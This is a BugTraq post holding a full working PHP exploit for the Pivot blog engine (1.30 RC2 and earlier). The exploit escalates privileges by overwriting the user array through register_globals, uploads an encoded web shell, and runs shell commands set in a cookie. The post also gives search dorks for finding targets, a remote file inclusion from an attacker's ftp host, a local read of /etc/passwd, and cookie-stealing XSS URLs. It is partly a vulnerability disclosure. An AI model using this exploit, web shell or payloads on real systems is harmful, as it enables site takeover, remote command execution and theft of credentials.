BugTraq
Pivot <=1.30rc2 privilege escalation / remote commands execution Jul 07 2006 03:38PM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Pivot <= 1.30 RC2 privileges escalation / remote commands execution exploit\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\n";

echo "site: http://retrogod.altervista.org\n";

echo "dorks: \"Powered byPivot\"\n";

echo "version specific: \"Powered byPivot - 1.30 RC2\" +Rippersnapper\n\n";

/*

works with register_globals=On

*/

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path cmd OPTIONS\n";

echo "host: target server (ip/hostname)\n";

echo "path: path to the blog\n";

echo "cmd: a shell command\n";

echo "Options:\n";

echo " -p[port]: specify a port other than 80\n";

echo " -P[ip:port]: specify a proxy\n";

echo "Examples:\n";

echo "php ".$argv[0]." localhost /blog/ ls -la -p81\n";

echo "php ".$argv[0]." localhost /blog/ ls -la -P1.1.1.1:80\n\n";

die;

}

/* software site: http://www.pivotlog.net/

i) vulnerable code in pv_core.php at line 23-24 and in CheckLogin() function:

...

// some global initialisation stuff

$Pivot_Vars = array_merge($_GET , $_POST, $_SERVER);

...

function CheckLogin() {

global $Users, $Pivot_Vars, $Cfg;

// User is banned..

if(isset($Cfg['bn_' . $_SERVER['REMOTE_ADDR']])){

Login(1, 1, "User is banned");

}

// added to not check for referers if no session id is given..

if(!isset($Pivot_Vars['session'])){ <-------------[!]

$uri = 'http://' . $Pivot_Vars['HTTP_HOST'] . $Pivot_Vars['SCRIPT_NAME'];

if(strpos($Pivot_Vars['HTTP_REFERER'], $uri)!=0){

$Pivot_Vars['user'] = '';

Login(0, 2, "No session active.");

}

}

// If we selected logout from the menu..

if( isset($Pivot_Vars['func']) && ($Pivot_Vars['func'] == 'login') && isset($Pivot_Vars['do']) && ($Pivot_Vars['do'] == 'logout')){

setcookie('user', '', -9999,"/");

setcookie('pass', '', -9999,"/");

setcookie('mode', 'nothing', -9999,"/");

unset($Users[$Cfg['tempsessions'][$Pivot_Vars['session']][0]]['session']
);

unset($Cfg['tempsessions'][$Pivot_Vars['session']]);

SaveSettings();

login(0,3, "User logged off");

}

// if the user has cookies set, but no session is active yet..

if( isset($_COOKIE['user']) && isset($_COOKIE['hash']) && ($_COOKIE['mode'] == 'stayloggedin') && <----------- [!!!]

( (!isset($Pivot_Vars['session'])) || ($Pivot_Vars['session'] == "")) ) {

debug("attempted ReviveSession..");

// Try to revive an old Session..

ReviveSession();

} else if(($Pivot_Vars['func'] == 'login') || ($Pivot_Vars['do'] == 'login')) {

// if we've just logged in, reset the cookies, if necesary and start a new session..

debug("attempted login..");

if ( ($Users[$Pivot_Vars['user']]['pass'] == md5($Pivot_Vars['pass'])) <-------------- [!!!!]

&& ($Users[$Pivot_Vars['user']]['userlevel']>0) ) {

NewSession($Pivot_Vars['user']);

}else{

// add one to the failed login attempts.

if(strlen($Pivot_Vars['user']) > 0) {

$Cfg['fl_' . $_SERVER['REMOTE_ADDR']]++;

}

Login(1,4, "Incorrect username or password");

}

} else {

// when running normally, the session stuff is updated.

$Pivot_Vars['user'] = $Cfg['tempsessions'][$Pivot_Vars['session']][0];

$ip = substr( $_SERVER['REMOTE_ADDR'], 0, strrpos( $_SERVER['REMOTE_ADDR'], "."));

// calculated locally: user's pass + current session + ip we got from user

$hash1 = md5( md5( $Users[$Pivot_Vars['user']]['pass'] . $Pivot_Vars['session'] ) . $ip ) ;

// stored hash

$hash2 = $Cfg['tempsessions'][$Pivot_Vars['session']][1];

// we check if the two hash matches with the one that was stored

if ($hash1 != $hash2) {

// if this is the case, something's not ok, so go back to login..

Login(0,0, "No hacking, please");

}

}

// If by this point no session is set, we will show the login screen..

if(strlen($Pivot_Vars['session']) == 0) {

Login(0,8, "Please log on. (if you keep getting this message, delete the cookies for this site)");

}

// Update the timer, so we can keep the user logged in.

if($Cfg['tempsessions'][$Pivot_Vars['session']][2] - time() <= ($Cfg['session_length'] / 4)) {

$Cfg['tempsessions'][$Pivot_Vars['session']][2] = $Cfg['tempsessions'][$Pivot_Vars['session']][2] + $Cfg['session_length'];

}

}

...

a remote user can overwrite $Pivot_Vars array and, if register_globals=on,

$Users one, to escalate privileges, then he can upload php files in images/ folder

through the includes/editor/insert_image.php script

ii)

arbitrary remote inclusion (on php5) with register_globals=On

http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=ftp:/
/username:password (at) somehost (dot) com [email concealed]/

where on somehost.com we have a

hooks/pre_editor_normal.php with some shellcode inside

and local inclusion with register_globals=On & magic_quotes_gpc=Off

http://[target]/pivot/includes/edit_new.php?Paths[extensions_path]=/etc/
passwd%00

iii) various xss with register_globals=On:

http://[target]/[path]/pivot/includes/blogroll.php?fg=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?line1=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?line2=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?bg=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?c1=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?c2=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?c3=[XSS]

http://[target]/[path]/pivot/includes/blogroll.php?c4=[XSS]

http://[target]/[path]/pivot/includes/editor/edit_menu.php?name=[XSS]

http://[target]/[path]/pivot/includes/editor/edit_menu.php?js_name=[XSS]

iv) regardless of magic_quotes_gpc, xss:

http://[target]/[path]/pivot/includes/photo.php?h=><script>alert(documen
t.cookie)</script>

http://[target]/[path]/pivot/includes/photo.php?w=><script>alert(documen
t.cookie)</script>

this is the poc exploit tool for i)

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$cmd="";

$port=80;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$magic_var="suntzu"; //no matter how you call him

$shell="error_reporting(0);if(get_magic_quotes_gpc()){\$_COOKIE[\"cmd\"]
=stripslashes(\$_COOKIE[\"cmd\"]);}set_time_limit(0);echo \"my_delim\";passthru(\$_COOKIE[\"cmd\"]);echo \"my_delim\";";

$shell=base64_encode($shell);

$data='-----------------------------7d62702f250530

Content-Disposition: form-data; name="userfile"; filename="cfg.php";

Content-Type: text/plain

<?php;eval(base64_decode("'.$shell.'"));?>

-----------------------------7d62702f250530--

';

$packet="POST ".$p."pivot/includes/editor/insert_image.php?session=".$magic_var."&func
=login&pass=".$magic_var."&user=".$magic_var."&Users[".$magic_var."][pas
s]=".md5($magic_var)."&Users[".$magic_var."][userlevel]=1 HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Cookie: hash=; mode=stayloggedin; user=;\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);

//shell.php is renamed to shell.php.php

$packet="GET ".$p."images/cfg.php.php HTTP/1.0\r\n";

$packet.="User-Agent: Googlebot/2.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Cookie: cmd=".$cmd.";\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"my_delim"))

{

$temp=explode("my_delim",$html);

die("exploit succeeded...\n\n".$temp[1]);

}

//if you are here...

echo "exploit failed...";

?>

original url: http://retrogod.altervista.org/pivot_130RC2_xpl.html

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